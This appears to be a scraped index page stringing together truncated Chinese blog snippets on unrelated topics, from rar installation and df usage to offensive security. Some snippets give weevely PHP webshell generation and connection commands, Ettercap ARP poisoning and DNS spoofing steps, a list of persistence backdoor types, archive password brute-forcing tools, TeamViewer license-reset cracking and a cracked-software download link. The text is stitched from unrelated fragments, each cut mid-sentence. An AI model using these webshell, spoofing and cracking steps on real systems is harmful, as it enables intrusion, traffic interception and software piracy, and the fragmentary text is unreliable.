持久性后门 生成PHP shell weevely generate 密码 /root/Desktop/404.php 靶机IP/404.php weevely http://192.168.1.108/404.php 密码 下一步就是命令与执行了,比如ls Ettercap之ARP中毒 sysctl -w net.ipv4.ip_forward=1 图形版ettercap target1 添加路由 网关地址 target2 添加路由 蓝方地址 tcpdump -i eth0 -n port 8…
软件已激活,下载即可使用 下载地址: https://dl.winzf.com/25_794.html 软件介绍现在市面商的rar压缩包破解软件的原理都是,输入密码一个一个尝试,然后得出压缩包正确密码,生成一串字符(得出该压缩包的正确密码),如果是靠人工手动输入一个一个尝试那是不可能实现破解压缩包密码的,而软件就不一样了,能每分钟尝试上万种方式.最终得出结果,这里我就不相信介绍了,大家自己下载去了解吧!软件使用说明这里我给大家介绍一下,软件的使用方法,首先我们点击软件进入操作界面,选择你的加密文…
直链下载地址: https://pan.abn.cc/weiyun/down.php?u=82441366e3c1f43fc69210e8ece93470.undefined.zip (压缩包内含解压密码)…
RAR压缩文件密码破解工具是一款简单易用的RAR文档和ZIP文档密码破解软件,如果你不小心忘了解压密码或是下载的RAR文件需要密码,那么均可以使用本软件进行暴力破解.不管WinRAR /RAR 的密码有多长和多复杂,均可破解.Advanced Archive Password Recovery (ARCHPR) 是一个强大的压缩包密码破解工具,适用于ZIP和RAR档案的高度优化的口令恢复工具. 它可以恢复保护口令或将用所有流行的档案版本创建的加密 ZIP 和 RAR 档案解除锁定. 压缩文件密码…
1.网络攻击拓扑环境 网关:192.168.133.2 攻击者:192.168.133.128 受害者:192.168.133.137 2.原理讲解 ARP欺骗 简介:ARP(Address Resolution Protocol)是地址解析协议,是一种将IP地址转化成物理地址的协议.从IP地址到物理地址的映射有两种方式:表格方式和非表格方式.ARP具体说来就是将网络层(也就是相当于OSI的第三层)地址解析为数据链路层(也就是相当于OSI的第二层)的物理地址(注:此处物理地址并不一定指MAC地址…
0.准备: 安装:ettercap apt-get install cmake libncurses5-dev libssl-dev libpcap-dev libnet1-dev git clone https://github.com/Ettercap/ettercap.git cd ettercap mkdir build cd build cmake -DENABLE_LUA=on -DCMAKE_INSTALL_PREFIX=/opt/ettercap \ -DCMAKE_BUILD_…
在Linux下安装rar fou linux rar for linux 软件下载地址:http://www.rarsoft.com/download.htm 到目前为止最新的版本为4.10 beta 2,这是共享版本. 本文所用的Linux操作系统为: Centos 5.6,内核版本2.6.18-238.12.1.el5.pony6-1,32位版本. 选择RAR 4.10 beta 1 for Linux: $wget http://www.rarsoft.com/rar/rarlinux-4…
1.shell/cmd命令行压缩解压缩 (1)zip压缩解压缩 zip压缩:zip -rP{密码} <目标文件.zip> <源文件> //默认覆盖现有文件 zip解压缩:zip -oP{密码} <源文件.zip> //默认覆盖现有文件 (2)rar压缩解压缩 说明: linux需要下载rarlinux,然后压缩,make编译后,即可使用. rar压缩:rar a -p{密码} <目标文件.rar> <源文件> -y //默认覆盖现有文件 例如:r…
平常使用mac的同学们,可能经常要接受下别人发过来的rar文件,可惜的时mac os x系统默认是不能打开rar文件(不知道以后苹果会支持rar不?),那么我们该如何去解圧rar文件,接下来我将介绍. 软件名称: The Unarchiver for Mac V3.11.2(多语中文版) 苹果电脑版 软件大小: 5.65MB 更新时间: 2017-11-01 1.打开App Store,在搜索框中输入“The Unarchiver”,具体操作如下图所示: 2.这里打开“Launchpad”会看到…
rar密码破解工具汇总 前言 假如酷爱在网络上找各种资源的你,经历千辛万苦终于找到了一个rar打包的文件,兴奋地慌忙点击,可打开才发现是加密的,相信这样的场景很多人都遇到过,今天就针对压缩文件密码的破译软件进行汇总比较. 付费软件 1.Passware Kit Passware Kit是一款国外非常知名的密码恢复软件,其几乎可以用来破解Rar.Zip.Office.PDF.CAB等当前你能见到的所有加密文件的密码,当然它的功能还不限于此,其可以恢复网络密码.重置Windows管理员密码.恢复硬盘…
攻击者IP:192.168.220.152 受害者IP:192.168.220.151 网关:192.168.220.2 修改DNS文件 ┌─[root@sch01ar]─[~] └──╼ #vim /etc/ettercap/etter.dns 在此处添加两条记录 “*”为所有域名,后面的IP地址为攻击者的IP地址 这样受害者所打开的网页都会变成打开攻击者的这个IP地址 开启apache服务 ┌─[root@sch01ar]─[~] └──╼ #service apache2 start 开启…
Webshell后门 XSS后门 远控后门&rootit(windows&LINUX) SSH后门 SHIFT终端服务器后门 系统用户账号克隆 SQL数据库扩展存储型后门 SQL数据库沙盒模式后门 Oralce/mysql自定义函数 Oralce的特权用户 文件捆绑型后门 下载系统用户密码HASH到本地进行破解 IIS/Tomcat/WEBLOGIC/APACHE应用型后门 键盘记录 .... 后面的继续,HEHE 收藏感谢(0) 分享到:0 32 个回复 1#哲璇 (<小学结业生&…
本文转自:http://www.cnblogs.com/huangxincheng/archive/2012/01/09/2316745.html 我们学习网络编程最熟悉的莫过于Http,好,我们就从Http入手,首先我们肯定要了解一下http的基本原理和作为,对http的工作原理有 一定程度的掌握,对我们下面的学习都是有很大帮助的. 一: 工作方式 ①:client和server建立可靠的TCP连接. ②:然后client通过Socket向server发送http请求. ③:server端处理…
On the internet you will find plenty of tools for checking disk space utilization in Linux. However, Linux has a strong built in utility called ‘df‘. The ‘df‘ command stand for “disk filesystem“, it is used to get full summary of available and used d…
闲话不说,centos上如何安装rar.unrar在线解压缩软件呢?如果您的centos是32位的,执行如下命令: wget http://www.rarsoft.com/rar/rarlinux-3.9.3.tar.gztar -zxvf rarlinux-3.9.3.tar.gzcd rarmake 看见下面这些信息就是安装成功了: mkdir -p /usr/local/binmkdir -p /usr/local/libcp rar unrar /usr/local/bincp rarf…
一.Windows系统下破解TeamViewer的方式 1.用Windows直接卸载本地的TeamViewer软件2.下载一个Everything软件,并安装好它(这是一个搜索本机文件的工具,超级好用).打开Everything,搜索“teamviewer”,删除所有带teamviewer的文件或文件夹3.删除注册表的数据:HKCU\Software\TeamViewer.HKLM\SOFTWARE\TeamViewer和HKEY_LOCAL_MACHINE\SOFEWARE\Wow6432No…
脚本功能: 利用itertools生成密码字典(迭代器形式) 多线程并发从密码字典中取出密码进行验证 验证成功后把密码写入文件中保存 #!/usr/bin/env python # -*- coding: UTF-8 -*- # Author:Leslie-x import itertools as its import threading import rarfile import os words = '0123456789abcdefghijklmnopqrstuvwxyz' # 涉及到生…
1.在Windows上使用copy命令,缺点是只能是jpg文件,gif不支持,命令如下: copy in1.jpg+in2.rar out.jpg 2.网上说使用UEdit方式可以制作gif,但是测试发现这个方法无法实现.参考:https://www.douban.com/note/216274819/ 3.要gif的支持还是使用copy的命令,不过需要注意的是:1)gif文件不要太大,2)压缩文件时选择储存模式,3)zip和rar两种格式都没问题:命令还设如上面所示: copy /b in1.…
1.下载:根据主机系统下载合适的版本,当前64为centos系统演示下载: wget http://www.rarlab.com/rar/rarlinux-x64-5.3.0.tar.gz 2.解压安装 tar xvf rarlinux-x64-5.3.0.tar.gz cd rar make install OK! 压缩一个文件: rar a -r yii-basic-2.0.15.rar yii-basic-2.0.15…
先看看arp的定义吧 现在linux运行这条命令 tcpdump -i eth0:1 -ent '(dst 192.168.5.190 and src 192.168.5.109)or( dst 192.168.5.109 and src 192.168.5.190)' -x bc:ee:7b:9d:ee:02 > Broadcast, ethertype ARP (0x0806), length 60: Request who-has 192.168.5.190 tell 192.168.5.…
日常操作中我们经常使用到文件压缩操作,其使用一些特定的算法来减小文件的大小,可以提高传输数据时的速率和减少数据在一些存储机制上占有的空间大小,实现空间利用最大化. 比如:如果你想通过邮箱发送一个文件夹,你会发现可能行不通,怎么办呢,难道将文件夹内的内容一个个发送吗?显然不用,因为邮箱不支持文件夹这种格式,所以我们需要将文件夹压缩,或将众多文件归档后压缩后,才能进行发送,这样不仅对应了邮箱支持的格式,而且还将提升传输效率. 任何一个文件在电脑上储存都有它的格式,现今各操作系统中最常用的压缩格式zi…
1.下载:根据主机系统下载合适的版本,当前64为centos系统演示下载: wget http://www.rarlab.com/rar/rarlinux-x64-5.3.0.tar.gz 2.解压安装 tar xvf rarlinux-x64-5.3.0.tar.gz cd rar make install OK! 压缩一个文件: rar  a  -r  pazzn.rar  pazzn 压缩一个文件: unrar  x  pazzn.rar Linux解压tar.gz和tar.bz2的命令…
有两种方法,大同小异吧,感觉命令真是个好东西,哈哈哈哈,挽救了我安了4次才安好的oracle!!! 方法一: 1.如果忘记密码,找到忘记密码的是哪个用户身份,如果用户被锁定,可以使用下面说的方法解除锁定,没有锁定,直接修改密码就可以 2.首先进入sqlplus:进入的方式有两种,一种是通过cmd命令台输入sqlplus,另外一种是直接在开始-程序-oracle-应用程序开发-sqlplus 3.提示“请输入用户名:”,输入: “/as  sysdba” ,屏幕显示连接到   信息.然后出现“SQ…
首先下载MyEclipse 最新官网在这里http://www.myeclipsecn.com/ mac 安装 . 在安装第一步会显示 "安装myeclipse显示更低版本javase6" 或者 提示需要安装旧Java SE 6运行环境才能打开 在这时候不要慌 只需要下载个补丁差不多就可以继续安装了 地址: https://support.apple.com/kb/DL1572?viewlocale=zh_CN&locale=en_US apple官方说明是这样的: Java…
今天为大家推荐一款解压缩类软件--BandZip bandzip是我认为的最好用的解压缩软件,速度快没广告 能够秒杀其他的压缩类软件 下载地址 bandzip点我 1 BandZip简介 BandZip是韩国的一款优秀的软件.支持多国语言,支持多种平台,当然软件也完美支持中文,解压后文件名称不会乱码,界面和其压缩类软件相似,习惯了wrar和7zip等压缩软件的小伙伴也能够快速的上手非常符合国人的使用习惯. 软件简洁.免费.纯净.无广告 2 种类繁多的压缩格式 软件拥有非常快速的压缩和解压缩算法,…
​ 背景 许多存储系统提供了创建存储卷“快照”(snapshot)的能力,以防止数据丢失.快照可以替代传统的备份系统来备份和还原主要数据和关键数据.快照能够快速备份数据(例如,创建GCE PD快照仅需要几分之一秒), 并提供快速恢复时间目标(RTO)和恢复点目标(RPO).快照还可用于数据复制.分发和迁移. 早在kubernetes 1.8版本中,卷快照系统原型已经发布,其实现位于external-storage(https://github.com/kubernetes-incubator/e…
20155308 <网络攻防> Exp2 后门原理与实践 学习内容:使用nc实现win,mac,Linux间的后门连接 :meterpraeter的应用 :MSF POST 模块的应用 学习目标:建立一个后门连接是如此的简单,功能又如此强大.通过亲手实践并了解这一事实,从而提高自己的安全意识 . 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 在网上下载软件的时候,有一些捆绑软件一起下载: 在输入网页的时候不小心打错了地址,然后进入了一个和自己目标网页相似的携带木马的网站. 网…
0x00 前言 未知攻焉知防,攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境.这里整理一些window服务端常见的后门技术,了解攻击者的常见后门技术,有助于更好去发现服务器安全问题. 常见的后门技术列表: 1.隐藏.克隆账户 2.shift后门 3.启动项.计划任务 4.劫持技术 5.Powershell后门 6.远控软件 7.嗅探技术 0x01 隐藏.克隆账号 window 隐藏系统用户制作: 1.CMD命令行下,建立了一个用户名为“t…
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频.摄像头.击键记录等内容,并尝试提权 (5)可选加分内容:使用MSF生成shellcode,注入到实践…
<一> ARP攻防 理论 和 工具 工具: 01: Wireshark ( 抓包软件 )   02: P2P终结者 ( ARP欺骗工具 )   03: cain & abel  ( ARP欺骗工具 + 数据解析 + 密码破解 ) 攻击原理:   01:相同路由器下的局域网会有一套自己的 MAC 地址表, 和 ip 一一对应, 02: ARP 欺骗就是通过向肉鸡 ( 被攻击的电脑 )  发送 MAC 地址表跟新包, 将自己电脑的 MAC 地址和 网关 ip 进行包装发送给肉鸡 03: 如…